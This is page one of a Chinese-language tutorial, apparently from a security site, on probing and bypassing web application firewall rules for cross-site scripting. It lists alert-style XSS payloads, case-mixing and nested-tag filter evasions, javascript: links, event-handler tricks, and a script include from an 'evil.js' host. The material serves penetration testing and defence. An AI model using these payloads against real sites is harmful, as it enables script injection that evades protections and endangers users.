XSS现代WAF规则探测及绕过技术(1)

初始测试1、使用无害的payload，类似<b>,<i>,<u>观察响应，判断应用程序是否被HTML编码，是否标签被过滤，是否过滤<>等等；2、如果过滤闭合标签，尝试无闭合标签的payload（<b,<i,<marquee）观察响应；3、尝试以下的payload<script>
alert(1);</script><script>prompt(1);</script><script>confirm (1);</script><script src="http://rhainfosec.com/evil.js">判断是否触发过滤规则，尝试使用
大小写混合字符<scRiPt>alert(1);</scrIPt>1、如果大小写不行的话，<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>；2、使用<a>标签测试<a href=“http://www.google.com">Clickme</a><a被过滤？href被过滤？其他内容被过滤？如果没有过滤尝试使用<a href=”javascript:alert(1)”>Clickme</a>尝试使用错误的事件查
看过滤<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>HTML5拥有150个事件处理函数，可以多尝试其他函数<body/onhashchange=alert(1)><a href=#>clickit 1 2 3 4 5 下一页>>查看全文 内容导航第 1 页：初始测试 第 2 页：测试其他标签 第 3 页：基于
上下文的过滤 第 4 页：浏览器BUG 第 5 页：绕过 原文：XSS现代
WAF规则探测及绕过技术(1) 返回网络安全首页